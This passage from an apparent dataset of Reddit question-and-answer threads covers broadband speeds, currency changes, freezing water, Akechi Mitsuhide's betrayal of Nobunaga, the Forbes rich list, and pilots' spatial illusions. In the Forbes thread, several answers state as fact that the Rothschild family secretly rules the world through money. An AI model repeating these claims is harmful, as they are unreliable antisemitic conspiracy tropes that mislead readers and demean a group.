25Mb/s faster every year than to max it out and be stuck there until they do roll out more infrastructure.\n\nYou can see this in action in the cities that google fiber has moved into.  Once google starts selling really fast internet comcast/verizon/att manage to jack up their offerings to  >  500Mb/s in a month or two.  They aren't doing that by rewiring every neighborhood, they just tweak what your modem is doing.", "My phone is already fast enough to burn through an entire month's cap in about 20 minutes, I think that makes a big difference. The wireless companies are doing everything they can to discourage you from using the data while loudly bragging about how fast it is.\n\nMy home internet connection has been getting faster, it's not happening as quickly as I'd like, it's not as cheap as I'd like but it's actually improving in a meaningful way, I can watch hours and hours of streaming video without even thinking about how much data I've used, I don't even know how to check.", "Infrastructure.\n\nThere's a limit to how much data you can send down a copper wire and a huge cost involved in upgrading the cables for all consumers.\n\nA single cell tower however can cover potentially hundreds or even thousands of people with a relatively low cost to upgrade to new technology.", "Last night I connected to my iPad to play rocket league. The connection was better over 4g LTE then cable. ", "Cell Tower technician here. Speeds are advancing faster due to fiber optic lines being installed at tower sites then transmit to adjacent cells via microwave. 4g technology involves the installation of radios at the tower top behind antennas with fiber lines run down the tower. LTE- means Long Term Evolution. Getting a tower from 4g to 5g is the addition of fiber lines to the tower site. All other infrastructure was installed previous. AT & T was rumored to be installing fiber lines to towers without pulling permits so they could expand more quickly and have been fined in several municipalities for this practice (per Tower Owner Friend)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "45bigr", "title": "can countries with their own established currency change to a different currency?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45bigr/eli5_can_countries_with_their_own_established/", "answers": {"a_id": ["czwl9kx", "czwnjcp", "czwpa1p"], "score": [4, 6, 2], "text": ["Yes, it can happen. Zimbabwe, for example, had to abandon their currency after hyperinflation made it worthless. However, when the government is no longer in control over its own currency, it takes away the ability to control the value of the currency thus loses a major tool used for managing the economy.", "Spain had the Peseta, now we have th Euro. Almost every Europe country changed their own currency to share the Euro.", "When countries want to recover from an hyperinflation cycle, they can clean the slate and change their currency by undergoing a  transition phase in which people can exchange from the old to the new one. Chile changed from escudos to pesos 40 years ago. Argentina switched the austral for the peso, Brazil switched from cruzados to reais. And so on.\n\nIf you switch from locally issued currency to a globally accepted one, you may gain stability, but you lose control over the inflation rates.\n\n If you switched to USD for example, it may happen that your economy is expanding while the USD is contracting. The measures the central bank from USA will take to revert the contraction might break your expanding cycle. \n\nAlso, countries that export commodities might want the dollar to weight less in comparison to euros, so they receive more dollars per unit. Countries that import commodities would want the dollar to amount for more euros.\n\nHaving europe adopt the euros was very convenient for interaction, and to counterweight USD. However, even if every member has a say in the european central bank, states with heavy contractions see themselves unable to act swiftly on their economy. That's why every now and then Spain, Greece or Italy speak about returning to their locally issued currency.\n\nI'm sorry if this is just gibberish. I can barely explain it in my first language.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bpril5", "title": "can one freeze water instead of boiling to make it safe to drink? why or why not?", "selftext": "This is in the context of well/tap water that doesn't meet \"potable water\" requirements due to lack of inspection thoroughness/frequency", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bpril5/eli5_can_one_freeze_water_instead_of_boiling_to/", "answers": {"a_id": ["enwpax6", "enwqfm3", "enwsfc8", "enx93pq", "enx9599", "enxdjm9", "enxta4m"], "score": [51, 10, 194, 2, 6, 3, 3], "text": ["Freezing does not kill microorganisms (unless we're talking very, *very* low temperatures, much lower than the freezing point of water), so freezing water would not make it safe to drink in most cases.", "Not really.  All it does is make them inactive until you thaw them.  Sure, you may kill some of them when ice crystals form inside the bacterial walls, but it won't be enough to make the water safe to drink.", "Heat kills things because high temperatures triggers chemical reactions which irreversibly destroy some important things. For us humans, this starts happening when our skin reaches around ~60\u00b0C. Some microorganisms have found ways to survive even higher temperatures, but ultimately a temperature above 120\u00b0C will kill (nearly) all living things, with the exception of some very rare extremophile \"archaea\" found in thermal springs.\n\nCold does the opposite. It stops chemical reactions. The way that cold can kill is that ice crystals can grow and expand in ways that pierces cell membrane. That's why most vegetables will turn to mush if frozen in a household freezer. But bacteria have found a way to survive this: They can turn themselves into a dormant form, where they are almost completely dried out. In this form, these so called spores are not vulnerable to ice formation, so they can survive even extremely low temperatures.", "There are common super tiny living things called Giardia that are kind of like turtles. When they see a dangerous environment they hide away in their shell that they call  a cyst. When you freeze the water the little Giardia just hang out in their shell which is insulated like a cozy cabin. But when you boil water it gets too hot in the shell so the Giardia have to leave their cyst/ Shell where they are exposed and then killed.", "Bacterial cells are mostly made of proteins. Many proteins are fine with getting cold, but not fine with getting hot; high temperatures cause the protein molecules to unfold from their normal shapes, or even break apart, meaning they don\u2019t work properly anymore. If this happens to enough of the proteins in a cell, the cell dies. This is why heat kills bacteria but cold doesn\u2019t (unless it\u2019s really really super cold).", "It depends on why its unsafe to drink in the first place. Other people have covered microbes and heat, so I'll mention the cold. If you're drinking sea or salt water, you can begin to freeze it so that it separates into salt rich water and salt deficient ice, then pour out the water and melt the ice.", "You know those scifi things where you cryo freeze things, and then they wake up in the future? Like in futurama?\n\n & #x200B;\n\nYeah, Fry didn't die from freezing. But his dog did from being thrown in lava."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "4gj28u", "title": "the philosophical concept behind the phrase \"it's turtles all the way down\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gj28u/eli5_the_philosophical_concept_behind_the_phrase/", "answers": {"a_id": ["d2hyboe", "d2hye4y", "d2hyf49", "d2hyhid", "d2i5tzr", "d2i5z8k", "d2i74e5", "d2i7aq0", "d2i7kkg"], "score": [607, 4, 74, 42, 7, 7, 3, 2, 2], "text": ["This is a story (which likely isn't true, but its a fun story so its worth repeating).\n\nRich Feynman (a very famous physicist, smart man) was giving a lecture on Quantum Electro-Dynamics (for which he won the noble prize). He gave these lecture's publically for lay-men to understand this complicated subject [link to lectures (worth the watch he's a great teacher)](_URL_1_).\n\nAt one of his lecture's an older lady stood up and said, *You can't fool me. The world is balanced on the back of 3 elephants, who stand on a massive turtle.* This refers to the [Hindu World](_URL_0_) which that religion ascribes too.\n\nFeynman replies smugly, *So what is under the turtle?*\n\nThe lady replies, *You can't fool me sonny, its turtles all the way down.*\n\n:.:.:\n\n *Turtles all the way* is a short hand of referencing a type of intellectual cosmic horror, a complete lack of understanding, or a subject *beyond* human comprehension. \n\nExample usage:\n\n > We can dig deeper, but its just turtles from here on out.\n\n > Yeah but then you've reached turtles.\n\n > Well yeah its just turtles all the way down.", "I remember reading a story about this but can't remember the details. Basically a women approached a scientist with the theory that the earth is actually on the back of a giant turtle. He asked what was below and she said another giant turtle. He asked what's after that and she replied I'm sorry but it's turtles all the way down. This may not be what your talking about but it's the only reference I know about that.", "In classic philosophy, there is an argument that for something to exist, it must have a creator. A simple refutation of this concept is that if all things must have a creator, then that creator must also have a creator, and that creator must have a creator, etc. Eventually you must assume that something can exist without a creator, logically. If this is the case, then there is no reason that the original thing needed a creator in the first place.\n\nThe \"turtle\" in this phrase comes from some ancient creation mythology and is just being used as a proxy for a \"creator\". If the universe sits on the back of a turtle, that turtle must be on top of another turtle, and so on, \"all the way down\".", "It basically asks, if there is a god, then where does he come from? Was he also in turn made by a god-god? And was that god-god in turn made by a god-god-god? Like how the greek gods had the titans before them. So if that idea is silly, then why assume the existance of a god in the first place? Just stopping at one, where's the point in that? It explains just as much as the infitite stack of gods.\n\nIt comes from the idea that the earth could be sitting on the back of a giant turtle, but what does the turtle stand on? another turtle? and so on and so on. And what's at the very bottom? It's turtles all the way down. It mocks the initial idea that there would be a turtle to begin with.", "I'd never heard this until I heard Sturgill Simpson. Is that what brought you here as well?", "People say Hitler was bad.  But for all his faults, at least he killed Hitler.  But he also killed the guy who killed Hitler.\n\nIt's Hitlers all the way down.", "Has anyone mentioned Discworld yet?", "A lot of people here are saying it is related to logic, but actually it is related to the study of knowledge (for those older than 5--epistemology).  This is meant to be an example for why [infinitism](_URL_0_) is wrong.  Philosophers who study knowledge often believe that something must be justified in order to be true.  Justification can be done in one of three ways: (1) Something is true because it actually describes the real world, (2) Something is true because it makes sense given everything else that is said (it coheres with the rest of the argument), and (3) Something is true because it is justified by something else, which is justified by something else, and this continues forever.  The third one is infinitism.  The argument that it is turtles all the way down is an example of this infinite justification.  There are a few philosophers who actually argue that this is the best justification for truth, but most philosophers think it is silly, hence the popular joke about turtles.", "What, no tie in with Dr. Suess?\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://2.bp.blogspot.com/-1ykFDHDHy04/VCRDmdPUj8I/AAAAAAAAFJE/eFrlE4X2Py8/s1600/7.%2BAkupara-Hindu%2Bworld%2Bturtle.jpg", "https://www.youtube.com/playlist?list=PLLzGzdSNup63lMYeOpU9Hax6MBsTjdDas"], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Infinitism"], ["https://en.wikipedia.org/wiki/Yertle_the_Turtle_and_Other_Stories"]]}
{"q_id": "4e15ai", "title": "Why did Akechi Mitsuhide turn on Oda Nobunaga?", "selftext": "I've been looking over this subreddit about this question but it never got answered properly. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4e15ai/why_did_akechi_mitsuhide_turn_on_oda_nobunaga/", "answers": {"a_id": ["d1waul0"], "score": [3], "text": ["The answer is no one knows. It is one of the most talked about and enduring mysteries of the Sengoku. \n\nEverything between psychological madness and conspiracy by the court/Hashiba Hideyoshi/Tokugawa Ieyasu had been proposed.\n\nThe most often given reasons (fief switch to an enemy territory, Nobunaga's disregard for his hostage mother, getting kicked at the celebration ceremony of the destruction of the Takeda) are all likely created in the Edo era, often as fiction. Most theories created in the current day are either based on these fiction or incredibly circumstantial evidence (if any are given). There are some very circumstantial evidence for the theories of 1) having to do with the Chosokabe and planned invasion of Shikoku and 2) to protect the Imperial Court from pressures from Nobunaga. But both are still quite weak.\n\nOf contemporary sources, Luis Frois does mention him getting kicked by Nobunaga (but he does not mention the circumstances and questions the reliability of the story) and there are mentions of mistreatment in one or two other sources. According to Luis Frois though, the man was a cunning, devious, friequent liar and would do anything to please Nobunaga for his own advancement, and according to Ota Gyuichi it was out of personal ambition. So according to two of our most trusted contemporary sources at least it was personal ambition. Of course the two could be biased, and no one has any records of goals and plans and such. So really it comes back to we don't know.\n\n**EDIT**: I thought to do a bit of elaboration. Although we don't know what *were* Akechi Mitsuhide's reasons for turning on Oda Nobunaga, we can say with some certainty what they *weren't*:\n\n*Reason*: Taken from a chronicle written in the early Edo (with dubious accuracy) Nobunaga ordered Mitsuhide to host Tokugawa Ieyasu. Mitsuhide used rotten fish. Nobunaga angrily ordered Hori Norimasa to rehost, making Mitsuhide loose face.  \n*Problem*: According to Ota Gyuichi's Nobunaga Chronicles, Ieyasu was hosted by neither of them.\n\n*Reason*: Taken from a mid-Edo fiction, Mitsuhide was ordered to exchange his territory (Tamba and parts of Oumi) for Izumo and Iwami which were still in enemy hands.  \n*Problem*: The source is **fiction** written a century later. There are no contemporary source for the order. Historians also point out that *even if* the order was real, it was not unusual in the context of the Sengoku and as an increase in his realm worth should be thought of as a reward, not punishment, and there should be no grudge which arises from this.\n\n*Reason*: Taken from a contemporary rumors collection, Nobunaga was drunk at a festival and threatened Mitsuhide at spear point and made him drink.  \nProblem: Both Luis Frois and Luis de Almeida recorded that Nobunaga did not drink.\n\n*Reason*: Taken from a late Edo fiction, Nobunaga ordered the execution of clan leaders captured by Mitsuhide, who held his mother as hostage, leading to her death.  \n*Problem*: There's no contemporary source mentioning this. According to Nobunaga Chronicles, the clan's castle had been under siege by Mitsuhide himself since a year ago, and the clan leaders fell in battle when in one final desperation they sallied out.\n\n*Reason*: Taken from the same source, Nobunaga ordered the burning of Erinji because one of his enemies had hid there, leading to the death of 150 monks.  \n*Problem*: The burning was ordered by Nobutada (Nobunaga's son). Nobunaga himself was not present.\n\nJust to finish up English Wiki. There are two problems with Akechi declaring his intention with that poem of his. Besides what seem like a weak interpretation grasping at straws the poetry result from the renka was given to Oda Nobunaga, who's also fluent in poetry. If Mitsuhide was announcing his intentions through poetry, he was running a huge risk of Nobunaga seeing through his intentions. It seems like a unnecessary risk to take. And from recorded communications afterwards it doesn't seem like anyone took his part of the poetry as an announcement of coup. \n\nBesides personal ambition then, the only other thing recorded by contemporaries was that there are some mentions of mistreatment by Oda Nobunaga (but not what's mentioned above) and grudges. But exactly what they are (besides getting kicked) is not known, or even the extent of the grudges.\n\nA possible reasons for grudges brought forward after WWII was that Mitsuhide was tasked with diplomacy with the Chosokabe of Shikoku when the Miyoshi was still Oda's enemy, to attack the Miyoshi from behind. Once the Miyoshi surrendered to the Oda, Chosokabe's continue pressure on the Miyoshi brought them into conflict with the Nobunaga, with Hideyoshi taking the side of the Miyoshi. In the end Nobunaga sided with Miyoshi/Hideyoshi and attacked Chosokabe. From this incident, some possibilities include that a decade's hard work and diplomacy by Mitsuhide was being thrown away, that Nobunaga sided with rival Hideyoshi, and that Mitsuhide was tied to the Chosokabe through relationships between their respective vassals. Possibility of conspiracy with the Chosokabe is also raised.\n\nOf other conspiracy theories, the one by the imperial court is the strongest. The imperial court was pressured by Nobunaga to relinquish power and break rituals and formality. Nobunaga *might* have demanded the position of Kampaku or Shogun. It's possible the court conspired with him, or he by himself rebelled to save the court.\n\nThe problem with this is that the same sources and cases used to suggest that Nobunaga was at odds with the imperial court could also be interpreted as Nobunaga simply deciding to work outside the traditional order in a mutual beneficial arrangement and was actually supported by the court. There's really no concrete proof of any level of animosity between the court and Nobunaga.\n\nSome have also rose as a possibility of Mitsuhide being a sort of Brutus, killing a tyrant. This is based on Mitsuhide saying he had stopped the Oda father & son's tyrannical rule when writing to other daimyos after the coup asking for support. The usual reasons given are to prevent Nobunaga from destroying the old order  like the Ashikaga Shogunate, imperial court, and monks.  \n\nImperial court we've already touched upon. As for the Ashikaga Shogunate, it's true Mitsuhide was instrumental in linking up his old boss Ashikaga Yoshiaki and Oda Nobunaga, allowing Nobunaga to march on Kyoto to support Yoshiaki's claim as Shogun. But when Yoshiaki first turned against Nobunaga, Mitsuhide sided with Nobunaga, so one has to ask why he would side with the now even more powerless Ashikaga Yoshiaki this time around.\n\nAs for the monks, the cases are given that Nobunaga's burning of Mt. Hiei and massacre of the Ikko buddhists struck a nerve with Mitsuhide. However, new evidence has surfaced that demonstrates that Mitsuhide was actually supportive of the slaughter at Mt Hiei. And indeed his treatment of the Buddhist sects in his own realm was not exactly kind.\n\nFinally, these reasons could be lumped into \"keep/restore the old order\" depends on an interpretation of Mitsuhide as conservative idealist, one popularized in the Edo period and often used in fiction. However this runs contrary to several of his recorded actions and his description by Luis Frois. Indeed it's pointed out that Nobunaga hates conservative idealists, instead favors realists with ruthless efficiency. If Mitsuhide was a conservative idealist, he shouldn't have been able to rapidly rise in ranks under Oda Nobunaga, but he did.\n\nAlso brought up is a possible worry hanging over Mitsuhide that Oda Nobunaga might banish him once he demonstrate he's no longer of use, as Nobunaga had done to others. He did after all just failed in his dealings with the Chosokabe. Of course this is complete speculation.\n\nOne last interesting possibility is that according to Kouyo Gunkan, Mitsuhide had been secretly in contact with Takeda Katsuyori about the possibility of switching side. Though it came to nothing, Mitsuhide might have been worried that Nobunaga would kill him if found out. As Anayama Baisetsu, ex-retainer of the Takeda who had joined the Tokugawa, had traveled to Azuchi (Nobunaga's castle) before and was travelling with Ieyasu in the vicinity at the time, Mitsuhide might have been worried that he would be found out so struck first. This is not impossible, as according to Mikawamonogatari, Nobunaga had ordered the seppuku of Tokugawa Ieyasu's son for the same reason.   However Kouyo Gunkan is the only source of this, and though a valuable source is known to have mistakes. As Takeda Katsuyori was on his last legs at the time, one has to wonder why Mitsuhide would think of betraying Nobunaga for the Takeda (same question is brought up for Ieyasu's son Nobuyasu. Both he and Mitsuhide had fought at Nagashino without hint of treachery). Personally I also wonder if it's true, why not just kill Baisetsu instead.\n\nSo at this point, the strongest evidence points to ambition, some kind of grudge and/or worries, or a combination of them. And once again, according to our most reliable contemporary sources (Luis Frois and Ota Gyuichi) it was ambition. However, neither tells us exactly what this ambition was."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4a90fl", "title": "why does the forbes rich list exclude certain billionaires?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a90fl/eli5why_does_the_forbes_rich_list_exclude_certain/", "answers": {"a_id": ["d0yd0y5", "d0yd2oy", "d0yd6a5", "d0ydo9k", "d0ye0w1", "d0ye4lr", "d0yeqkm", "d0yesim", "d0yevcj", "d0yf2b2", "d0yfb3y", "d0yffvg", "d0yfhme", "d0yfnmg", "d0yfol9", "d0yfsh0", "d0yfspf", "d0ygdcc"], "score": [612, 202, 27, 5, 2, 39, 79, 4, 3, 5, 5, 15, 4, 3, 2, 2, 6, 2], "text": ["A lot of their finances are shady and not transparent and can't be officially recognized. Like a corporation avoiding tax by spreading their finances all over the place, it's near impossible to keep track. \n\nAlso, people with this sheer mind boggling wealth don't want to be known to have it, Rothschild name is just so rare to be seen in the news even though they have so much power and influence, and a part of that power and influence, is making sure others don't know they have it. \n\n\"But because their money has been divided among so many heirs, they never show up on any \u201cRichest People In The World\u201d lists. Their exact net worth remains a mystery, though estimates have it at around $400 billion. One elderly living heir, Sir Evelyn De Rothschild, has an estimated net worth of $20 billion.\"", "Rothschild family net worth exceeds 100 billion easily. Its obvious that individuals from this family would rather not be in the public spotlight, and avoid doing so consistently. They have the greatest influence in the movement of money around the world, yet hardly anyone knows of them", "Interesting question. While he is not included on this Forbes list of billionaires:\n\n_URL_0_\n\nhe is on this Forbes list:\n\n_URL_1_", "It probably has something to do with when you are a billionaire you can make most anything you want happen, and if you don't wanna be in a magazine you just kinda make it so you're not.", "That's because that's the shadiest family on this planet and they keep things hidden and practically (not shitting you) they rule over this world through money.", "Because lists like the Forbes rich list exists as entertainment for the non-rich. It has no purpose other than that, so there's no particular incentive for it to be complete, or even accurate.", "Bill Gates' wealth is easy to estimate, since Microsoft is a publicly traded company. You can look up how much stock Mr Gates owns and thus calculate how much that stock is worth. With people like the Rothschilds and Putin it becomes very difficult  All their wealth is spread around the world in multiple private companies, banks, cronies and real estate.  This makes it impossible to make an estimation. And the Forbes list is just entertainment, there is no real journalism going on when they are creating the list. ", "Can't you opt out of the list? I know I'd want to.", "Ingvard Kamprad \u2014IKEA\u2014 would be the richest in the world if he did not do shady shit to hide his cash XD.", "forbes is a news outlet with reporters.    it's all guesses and people like gates, slim and buffet are extremely high profile public figures which makes it \"easy\" to estimate.   Gadhaffi was reportedly worth $200 billion.   So I can only imagine there must be a trillionaire out there that has billions spread out across the globe.", "Ahhh the Rothchilds. Careful which questions you ask...there is a certain class of wealth that despises being in the media. So much so that id guess they pay to be excluded. Kinda like a dont call list. But a dont print list. ", "Michael Bloomberg (net worth ~$37B) doesn't appear on Bloomberg's list of billionaires:\n\n_URL_0_", "The Forbes 500 is just shows people who earned their wealth in their life time. Not imparted wealth. This is why the Queen of England of the Sultan of Brunei aren't on the list unlike Mr Gates who is self made. ", "Some have sketchy wealth some pay not to be mentioned because they don't want people to conceive that they have so much power and wealth. George Soros, the Rothschilds.", "because Forbes is a private company. Just like Time is a private company.\n\nThey can make lists of anyone they want and exclude anyone they want.\n\nThey could make a list of 100 richest people and then show 100 random people if they wanted too.\n", "For what it's worth, a rich person once told me that Forbes asks people's permission to be on the list. Or at least they do for those who don't have hyper public wealth like Gates, Zuckerberg, Buffett. So it's opt-in. ", "because it would be problematic to see who actually owns the world and why the world is trillions of dollars in debt\n\nyou wouldn't want to be a nazi would you? good, now pay your debts created from artificial inflation created from currency not regulated by your government or people :^)", "A lot of people keep their money hidden with financial instruments and tax structures like the founder of Ikea, Ingvar Kamprad.  Also with people like Putin and random African dictator, they control the gvt and there is no transparency so it's hard to gauge how much they have.  Forbes isn't exactly allowed to audit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.forbes.com/billionaires/list/#version:static", "http://www.forbes.com/2001/06/27/golddiggers.html"], [], [], [], [], [], [], [], [], ["http://www.bloomberg.com/billionaires/2016-03-11/aaa"], [], [], [], [], [], []]}
{"q_id": "3y7dpi", "title": "When I'm on an airplane and I look straight ahead during takeoff or landing, I feel like I can see that the plane is pointed up or down. Can I really, or does my brain just extrapolate based on other information to create this illusion?", "selftext": "My relative position in the plane stays the same in takeoff or landing, so why am I able to see that we are pointed up or down when I'm just looking straight ahead?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3y7dpi/when_im_on_an_airplane_and_i_look_straight_ahead/", "answers": {"a_id": ["cyb6xlz", "cyb80nc", "cyb8a8r", "cyb8k14", "cyb9aqg", "cyb9jci", "cybahg3", "cybandc", "cybbuu4", "cybcg1d", "cybct4x", "cybcvec", "cybfiys", "cybha0b", "cybiajr", "cybj2a0", "cybmyfz", "cybn8ql"], "score": [2073, 6, 19, 290, 118, 9, 47, 66, 3, 13, 2, 15, 9, 4, 2, 7, 3, 4], "text": ["You can do this, but not with great accuracy.\n\nYour visual perception is certainly affected by gravity, which like other accelerations, acts upon the vestibular organs in your inner ears.\n\nWe have a very fast neuron arc from these sensors to the neural circuitry that controls eye movements. Here's a simplified outline that may describe your scenario: Nose of the plane rises (which you also notice with sensory modalities other than vision), you tilt your head forward to compensate (probably incompletely). To keep your gaze on the thing you were looking straight ahead at, your eyes automatically elevate by the same amount. You now feel like you are looking upwards, and this can affect your perception of location in rotational threespace.\n\nAs to my opening comment about accuracy, this is not an ability you would ever want to have to bet your life on. This is why pilots have an artificial horizon instrument; there are endless cases (NTSB accident reports) about pilots who chose to believe their ears and eyes rather than an objective measurement.", "OP: looks like someone provided a great answer already, but if you wanted to read more about factors/illusions during flight\n\n[here is chapter 16 (aeromedical factors)](_URL_0_) of the pilots handbook of aeronautical knowledge.  It's a fairly easy read.  ", "When I did a summer research internship with the Air Force years ago, I was in a group that included Kent Gillingham, who kind of \"wrote the book\" as it were on spatial (dis)orientation among pilots. There's a lot of his material to be found on the net, which clearly influences the author of this pamphlet which summarizes some of the things that pilots are susceptible to as a result of the interactions between the visual and vestibular system, including the \"heads-up illusion\" which is what you describe.\n\n_URL_0_\n", "Commercial pilot here.\n\nThere have been numerous accidents recently due to spatial disorientation (Indonesia AirAsia Flight 8501, Air France Flight 447 among them).\n\nWhen you have no outside visual cues, you really can't \"feel\" how the plane is oriented.  During your commercial training, you do \"unusual attitude recovery\" where you are basically blindfolded, the instructor will pitch/roll the plane into to a very weird situation and then you are told only \"recover\".  You are still wearing \"foggles\", which basically block your view out the window.\n\nYou can only rely on instruments at that point, especially the attitude indicator (AI) and airspeed indicator.\n\nUnder no circumstances can you rely on how you \"feel\", because it's probably the exact opposite of what's happening.\n\nIt gets complex with situation like AF447 where you have icing, which gives you incorrect readings (you can get incorrect stall and overspeed warnings rapidly, among other things).\n\n", "F-18 Hornet pilots do not have their hands on the controls during carrier catapult launches for these reasons.  Instead they hold onto two handles dubbed the \"towel rack\" for the first several seconds of flight while the plane's computer is doing the flying because the acceleration is so great that humans perceive it as pitching too far up when the aircraft is actually level.  This leads to the pilot pushing the nose of the plane down to correct the perceived nose-up attitude and flying into the ocean.", "Your brain gives a lot of attention to your vestibular organs (inner ear) which provides your sense of balance.  When that sensory information conflicts with what your eyes are seeing, your brain tries to adjust the picture.  That's why when you get dizzy the room looks like it's spinning.  It's also the usual cause of motion sickness; your other senses tell you you're moving, but your view of your surroundings say you're stationary.  Your brain thinks, \"Oh, I must be getting a bad infection,\" and you get sick.", "Airline Pilot here.\n\nYou absolutely can see it on take off. Generally we pitch up between 10-20 degrees on take off, which doesn't sound like much but the further back you sit from the center of gravity, you'll feel the effect more. \n\nOn descent, not so much, as we only pitch down 3-5 degrees. \n\nThere's been times we've done repo flights (flying an empty plane), and we'll leave the cockpit door open. I looked back into the cabin and was shocked on how much the slope was heading towards the back of the plane.", "Pilot here. You think you can but your brain is actually extremely inaccurate at this sort of thing. During pilot training we practice flying on instrumentation alone, using a hood to block out all windows/outside references. You would be surprised to find that even when your body feels like you are pitching down, in reality the aircraft could just be decelerating. This (among others) are commonly studied effects. I would recommend checking out this wikipedia article that shows just how many illusions there are:\n\n_URL_0_", "What you are experiencing is probably partly the somatogravic (head up) illusion, a well known pilot killer. A forward acceleration is misinterpreted by the brain as a pitch upward. It is impossible to accurately assess orientation by measuring forces in an aircraft (whether human vestibular organs, accelerometers or pendulums). In aircraft sustained accelerations are possible and therefore the resultant force measured may not correspond to the earth vertical. \n\nThere's a good description here, and the other aviation sensory illusions are also relevant. \n_URL_0_\n\n", "An airplane is not pointed down during landing.  It may be pitched down during descent, but it is pitched up during landing.", "The forces in the cockpit in any thing other than straight and level flight not good references Trusting the \"gravity\" you feel in your butt on the seat can navigate you directly to the crash site. This is where the phrase \" flying by the seat of your pants\" comes from.", "Pilot here this is known as an oculagravic illusion. Others have pointed to the vestibular system which is partly correct but this system mostly deals with when we lack any horizon at all such as while flying in the clouds and affects pilots rather than passengers. Basically what's happening on take off is your body is subject to G forces and the pressure from those G's is causing your eyes to track upwards hence you perceive a nose up attitude. If you watch jets being launched off carriers you'll notice the pilots have their hands on what we call the dummy handle instead of the controls, this is because pilots were subject to such high G's that their eyes tracked up and the falsely perceived a nose high attitude, they would then make a improper correction and place the aircraft in a nose low attitude and slam it into the ocean. they grab the dummy handle during the takeoff to avoid making this mistake. If you want more info look at Aeromedical Training for Army Aviators, I believe it's chapter 8 that goes over all the illusions as well as things like coriolis and the leans which are vestibular illusions that, like others have said are encountered when we lack a horizon.", "I'm a bit late to the party, so I'm sure I'll be buried -- but, OP, here's another take on the whole situation.\n\nIn a word, you're not really able to see if the plane is pointed up or down by looking straight ahead.  During takeoff, for example, for most of the roll the plane is perfectly level - but you almost certainly \"feel\" that the plane is pointed up even before the nose lifts up.  That's because you have an innate sense of the direction of local gravity (others have pointed out that you use that for balance), but *physics itself conspires to fool you*.  When the plane is accelerating or decelerating, the inertial effects mimic gravity exactly, so your gut instinct is to think you're ascending/descending even if you're only accelerating/decelerating (or vice versa).\n", "Your body remains in the same position in the seat but your head tries to stay balanced so your head tilts forward as the plane's nose tilts up.  It feels like the plane is pointed up more than it is because the forward acceleration causes you to tighten the muscles in the front of your neck just like if you were sitting in a chair that is tilted back.", "Even if you look straight ahead your eyes and brain recognize visual cues from the edge of your field of view (plane has windows). Try it with your eyes closed for a longer period and report back if you still guessed right on the planes orientation. ", "So if a kidnapped person in a car was blindfolded and had noise cancellation headphones on (the person couldn't hear the engine), would the person be able to distinguish uphill and downhill roads? I feel like yes, but this discussion makes me wonder.  Obviously a blindfolded person an feel left and right turns as well as acceleration and deceleration.\n", "Ive often wondered this too. Living and working on a submarine for weeks at a time with no visual of the outside world, i can still feel or somewhat see the up and down angle even when they are minimal. Thanks for asking the question OP, and thanks for the informative comments you guys. ", "In addition to the other answers here, another cause, which is more likely to happen to someone in the cabin rather than the cockpit, is your mind misinterpreting acceleration.  A gravitational field is, relatively, the same as an accelerating reference frame.  So, if you're in the cabin and can't see the horizon outside, and you feel the plane accelerate, your brain might interpret it as the nose pitching up.  It's like the opposite of what happens in those immersive video games they have in the arcade.  The machine tilts back, and the video display shows you accelerating, so your brain interprets that as feeling the acceleration."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.faa.gov/regulations_policies/handbooks_manuals/aviation/pilot_handbook/media/PHAK%20-%20Chapter%2016.pdf"], ["http://www.faa.gov/pilots/safety/pilotsafetybrochures/media/spatiald.pdf"], [], [], [], [], ["https://en.wikipedia.org/wiki/Sensory_illusions_in_aviation"], ["https://en.m.wikipedia.org/wiki/Sensory_illusions_in_aviation#Head-up_illusion"], [], [], [], [], [], [], [], [], []]}
{"q_id": "7toktn", "title": "how does the animal kingdom deal with \u201cmistakes\u201d or accidents where an animal blunders and accidentally harms another animal? can animals comprehend sorrow or forgiveness in relation to such an event?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7toktn/eli5_how_does_the_animal_kingdom_deal_with/", "answers": {"a_id": ["dte13bf", "dte8ohv", "dtec40j", "dtets8d"], "score": [15, 3, 4, 3], "text": ["When rough play goes too far, cats and dogs that are affectionate will often start licking the one who they hurt. Many people see that as 'apologetic' behavior.", "Depends on the socialness of the species. \n\nLots of animals have determined  a way to socially groom or such to help  reconnect animals after a conflict. Some primates have used sex for that same purpose. \n\nSome animals have things like growls and snarls and other warnings that don't soothe but take place before a fight so one animal can leave without there being a fight. ", "I have witnessed a few blunders.. some more serious than others, and never have I seen any indication of sorrow or remorse on the part of the critter that accidentally hurt the other.   In the cases that I have seen an animal accidentally hurt another, the hurter doesn't seem to be aware that the caused pain/suffering to the other animal.\n\nOne time my llama nearly broke her own leg when she was running and jumping and playing with my ram sheep, it was a freak accident for sure.  Her thin front leg went through the hoop his horn made (he had large curled horns) and they both fell to the ground.  I saw it happen (thank God) and ran out and helped them get apart, but both were so worried about themselves to be honest.. I don't think either one gave the other a moment's consideration.", "Animals have \"threat gestures\" - fighting is expensive and can result in permanent damage.  Better to act aggressive first then see if the other one will press the issue.\n\nExample:  Seagull A belongs to one species and is trying to make a nest to attract a mate.  Seagull B is another species and approaches wanting to steal some grass for it's own nest making materials.\n\nA hisses, spreads it's wing and makes loud noises.  It picks grass with a threatening manner and tries to appear bigger.  This continues until B either leaves or throws down.\n\nB has to leave because any scars or damage will lower it's attractiveness to a mate.  It flies off - not knowing why A was so aggressive but not wanting to take that risk.\n\nNow if B was bigger than A, this would be 